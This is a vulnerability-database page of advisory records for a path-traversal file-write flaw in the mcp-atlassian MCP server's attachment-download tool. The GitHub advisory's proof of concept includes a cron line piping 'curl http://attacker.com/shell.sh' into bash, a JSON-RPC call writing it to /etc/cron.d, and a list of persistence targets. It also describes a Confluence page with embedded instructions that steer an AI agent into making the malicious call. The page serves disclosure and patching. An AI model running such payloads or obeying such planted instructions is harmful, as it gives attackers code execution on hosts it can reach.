Vulnerability-Lookup

CVE-2026-27825 (GCVE-0-2026-27825)

Vulnerability from cvelistv5 – Published: 2026-03-10 18:53 – Updated: 2026-03-10 19:52

Title

MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment

Summary

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.

Severity ?

9.1 (Critical)


                        
                          CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-73 - External Control of File Name or Path

Assigner

GitHub_M

References

URL

Tags

	https://github.com/sooperset/mcp-atlassian/securi…	x_refsource_CONFIRM
	https://github.com/sooperset/mcp-atlassian/commit…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	sooperset	mcp-atlassian	Affected: < 0.17.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-27825",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-10T19:52:19.897022Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-10T19:52:28.824Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.17.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-73",
              "description": "CWE-73: External Control of File Name or Path",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-10T18:53:41.964Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e"
        }
      ],
      "source": {
        "advisory": "GHSA-xjgw-4wvw-rgm4",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-27825",
    "datePublished": "2026-03-10T18:53:41.964Z",
    "dateReserved": "2026-02-24T02:32:39.799Z",
    "dateUpdated": "2026-03-10T19:52:28.824Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-27825",
      "date": "2026-04-22",
      "epss": "0.0002",
      "percentile": "0.05634"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-27825\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-03-10T20:16:37.417\",\"lastModified\":\"2026-04-02T13:52:39.883\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.\"},{\"lang\":\"es\",\"value\":\"MCP Atlassian es un servidor de Model Context Protocol (MCP) para productos de Atlassian (Confluence y Jira). Antes de la versi\u00f3n 0.17.0, la herramienta MCP \u0027confluence_download_attachment\u0027 acepta un par\u00e1metro \u0027download_path\u0027 al que se escribe sin ninguna aplicaci\u00f3n de l\u00edmites de directorio. Un atacante que puede llamar a esta herramienta y proporcionar o acceder a un archivo adjunto de Confluence con contenido malicioso puede escribir contenido arbitrario a cualquier ruta a la que el proceso del servidor tenga acceso de escritura. Debido a que el atacante controla tanto el destino de escritura como el contenido escrito (a trav\u00e9s de un archivo adjunto de Confluence subido), esto constituye una ejecuci\u00f3n de c\u00f3digo arbitrario (por ejemplo, escribir una entrada cron v\u00e1lida en \u0027/etc/cron.d/\u0027 logra la ejecuci\u00f3n de c\u00f3digo dentro de un ciclo del planificador sin necesidad de reiniciar el servidor). La versi\u00f3n 0.17.0 corrige el problema.\"}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\",\"baseScore\":9.0,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"ADJACENT_NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.3,\"impactScore\":6.0},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.0,\"baseSeverity\":\"HIGH\",\"attackVector\":\"ADJACENT_NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.1,\"impactScore\":5.9}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"},{\"lang\":\"en\",\"value\":\"CWE-73\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:mcp-atlassian:mcp_atlassian:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"0.17.0\",\"matchCriteriaId\":\"972ADC29-1D0B-47D0-8889-A1388AB7F9E7\"}]}]}],\"references\":[{\"url\":\"https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Vendor Advisory\"]}]}}",
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-27825\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-03-10T19:52:19.897022Z\"}}}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-03-10T19:52:25.301Z\"}}], \"cna\": {\"title\": \"MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment\", \"source\": {\"advisory\": \"GHSA-xjgw-4wvw-rgm4\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 9.1, \"attackVector\": \"ADJACENT_NETWORK\", \"baseSeverity\": \"CRITICAL\", \"vectorString\": \"CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"sooperset\", \"product\": \"mcp-atlassian\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 0.17.0\"}]}], \"references\": [{\"url\": \"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4\", \"name\": \"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e\", \"name\": \"https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-22\", \"description\": \"CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)\"}]}, {\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-73\", \"description\": \"CWE-73: External Control of File Name or Path\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-03-10T18:53:41.964Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-27825\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-03-10T19:52:28.824Z\", \"dateReserved\": \"2026-02-24T02:32:39.799Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-03-10T18:53:41.964Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-27825

Vulnerability from fkie_nvd - Published: 2026-03-10 20:16 - Updated: 2026-04-02 13:52

Severity ?

9.0 (Critical) - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
8.0 (High) - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e	Patch
	security-advisories@github.com	https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4	Vendor Advisory

Impacted products

	Vendor	Product	Version
	mcp-atlassian	mcp_atlassian	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:mcp-atlassian:mcp_atlassian:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "972ADC29-1D0B-47D0-8889-A1388AB7F9E7",
              "versionEndExcluding": "0.17.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, the `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required). Version 0.17.0 fixes the issue."
    },
    {
      "lang": "es",
      "value": "MCP Atlassian es un servidor de Model Context Protocol (MCP) para productos de Atlassian (Confluence y Jira). Antes de la versi\u00f3n 0.17.0, la herramienta MCP \u0027confluence_download_attachment\u0027 acepta un par\u00e1metro \u0027download_path\u0027 al que se escribe sin ninguna aplicaci\u00f3n de l\u00edmites de directorio. Un atacante que puede llamar a esta herramienta y proporcionar o acceder a un archivo adjunto de Confluence con contenido malicioso puede escribir contenido arbitrario a cualquier ruta a la que el proceso del servidor tenga acceso de escritura. Debido a que el atacante controla tanto el destino de escritura como el contenido escrito (a trav\u00e9s de un archivo adjunto de Confluence subido), esto constituye una ejecuci\u00f3n de c\u00f3digo arbitrario (por ejemplo, escribir una entrada cron v\u00e1lida en \u0027/etc/cron.d/\u0027 logra la ejecuci\u00f3n de c\u00f3digo dentro de un ciclo del planificador sin necesidad de reiniciar el servidor). La versi\u00f3n 0.17.0 corrige el problema."
    }
  ],
  "id": "CVE-2026-27825",
  "lastModified": "2026-04-02T13:52:39.883",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.0,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.1,
        "impactScore": 5.9,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2026-03-10T20:16:37.417",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-73"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-XJGW-4WVW-RGM4

Vulnerability from github – Published: 2026-03-10 18:56 – Updated: 2026-03-10 18:56

Summary

MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment

Details

Summary

The confluence_download_attachment MCP tool accepts a download_path parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to /etc/cron.d/ achieves code execution within one scheduler cycle with no server restart required).

Details

The tool parameter is defined in src/mcp_atlassian/servers/confluence.py:~1275 without any path restriction:

```python download_path: Annotated[ str, Field( description=( "Full path where the file should be saved. Can be absolute or relative. " "Examples: './downloads/report.pdf', '/tmp/image.png', 'C:\\temp\\file.docx'. " "Parent directory will be created if it doesn't exist." ) ), ],

The implementation at src/mcp_atlassian/confluence/attachments.py:183–200:

if not os.path.isabs(target_path): target_path = os.path.abspath(target_path) # normalizes path, no restriction

os.makedirs(os.path.dirname(target_path), exist_ok=True) # creates any directory with open(target_path, "wb") as f: # writes to any writable path for chunk in response.iter_content(chunk_size=8192): f.write(chunk)

os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).

PoC

Prerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.

Step 1 — Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:

- - - - root curl http://attacker.com/shell.sh | bash

Step 2 — Call the tool with a sensitive write target:

{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "confluence_download_attachment", "arguments": { "page_id": "", "attachment_id": "", "download_path": "/etc/cron.d/mcp-backdoor" } }, "id": 1 }

The attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.

Alternative potential write targets demonstrating broader impact: - /home//.ssh/authorized_keys - persistent SSH backdoor - /lib/python3.x/site-packages/.py - code execution on next import - ~/.bashrc - code execution on next user login

Impact

An attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server's HTTP port can call tools using the server's own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.

In enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.

Example potential RCE paths: 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required 2. Python package hijack - overwrite any .py module in the application's virtual environment; executes on next import or server restart. 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access. 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.

Severity ?

9.0 (Critical)


                  
                    CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:56:07Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe `confluence_download_attachment` MCP tool accepts a `download_path` parameter that is written to without any directory boundary enforcement. An attacker who can call this tool and supply or access a Confluence attachment with malicious content can write arbitrary content to any path the server process has write access to. Because the attacker controls both the write destination and the written content (via an uploaded Confluence attachment), this constitutes for arbitrary code execution (for example, writing a valid cron entry to `/etc/cron.d/` achieves code execution within one scheduler cycle with no server restart required).\n\n\n### Details\nThe tool parameter is defined in `src/mcp_atlassian/servers/confluence.py:~1275` without any path restriction:\n\n  ```python\n  download_path: Annotated[\n      str,\n      Field(\n          description=(\n              \"Full path where the file should be saved. Can be absolute or relative. \"\n              \"Examples: \u0027./downloads/report.pdf\u0027, \u0027/tmp/image.png\u0027, \u0027C:\\\\\\\\temp\\\\\\\\file.docx\u0027. \"\n              \"Parent directory will be created if it doesn\u0027t exist.\"\n          )\n      ),\n  ],\n\n The implementation at src/mcp_atlassian/confluence/attachments.py:183\u2013200:\n\n  if not os.path.isabs(target_path):\n      target_path = os.path.abspath(target_path)  # normalizes path, no restriction\n\n  os.makedirs(os.path.dirname(target_path), exist_ok=True)  # creates any directory\n  with open(target_path, \"wb\") as f:                        # writes to any writable path\n      for chunk in response.iter_content(chunk_size=8192):\n          f.write(chunk)\n\n os.path.abspath() converts relative paths to absolute but performs no directory boundary check. No configurable base download directory is enforced. There is no validation between the tool parameter and the file write. The same issue exists in download_content_attachments via its target_dir parameter (src/mcp_atlassian/servers/confluence.py:~1389).\n\n\n### PoC\nPrerequisites: Confluence credentials with access to at least one page. To control the written file content, upload a malicious attachment to any Confluence page you have write access to.\n\nStep 1 \u2014 Prepare the payload. Create a file containing a valid cron entry and upload it as a Confluence attachment:\n\n  * * * * * root curl http://attacker.com/shell.sh | bash\n\nStep 2 \u2014 Call the tool with a sensitive write target:\n\n  {\n      \"jsonrpc\": \"2.0\",\n      \"method\": \"tools/call\",\n      \"params\": {\n          \"name\": \"confluence_download_attachment\",\n          \"arguments\": {\n              \"page_id\": \"\u003cpage id hosting the malicious attachment\u003e\",\n              \"attachment_id\": \"\u003cattachment id\u003e\",\n              \"download_path\": \"/etc/cron.d/mcp-backdoor\"\n          }\n      },\n      \"id\": 1\n  }\n\nThe attachment content is written verbatim to /etc/cron.d/mcp-backdoor. The system scheduler executes it within one minute with no further attacker action required.\n\nAlternative potential write targets demonstrating broader impact:\n  - /home/\u003cuser\u003e/.ssh/authorized_keys - persistent SSH backdoor\n  - \u003cvenv\u003e/lib/python3.x/site-packages/\u003cany_imported_module\u003e.py - code execution on next import\n  - ~/.bashrc - code execution on next user login\n\n### Impact\nAn attacker who can invoke MCP tools and upload (or access) a Confluence attachment with controlled content can achieve arbitrary code execution on the server host. The MCP HTTP transport endpoints carry no authentication by default, meaning any host that can reach the server\u0027s HTTP port can call tools using the server\u0027s own embedded Confluence credentials (global fallback). The default HOST=0.0.0.0 binding makes this reachable from the local network without any configuration change.\n\nIn enterprise deployments where Confluence write access is broadly granted, the effective attacker prerequisite reduces to network access to the MCP HTTP port. This is also reachable without direct network access: a malicious Confluence page can embed LLM instructions directing an AI agent to call confluence_download_attachment with attacker-specified parameters, achieving code execution through the agent as an unwitting intermediary.\n\nExample potential RCE paths:\n 1. Cron job injection - write a cron entry to /etc/cron.d/; executes within one scheduler cycle, no restart required\n 2. Python package hijack - overwrite any .py module in the application\u0027s virtual environment; executes on next import or server restart.\n 3. SSH authorized_keys - write an attacker-controlled public key; grants persistent interactive shell access.\n 4. Shell profile injection - write to ~/.bashrc or ~/.profile; executes on next user login.",
  "id": "GHSA-xjgw-4wvw-rgm4",
  "modified": "2026-03-10T18:56:07Z",
  "published": "2026-03-10T18:56:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-xjgw-4wvw-rgm4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/52b9b0997681e87244b20d58034deae89c91631e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian has an arbitrary file write leading to arbitrary code execution via unconstrained download_path in confluence_download_attachment"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-27825 (GCVE-0-2026-27825)

FKIE_CVE-2026-27825

GHSA-XJGW-4WVW-RGM4

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature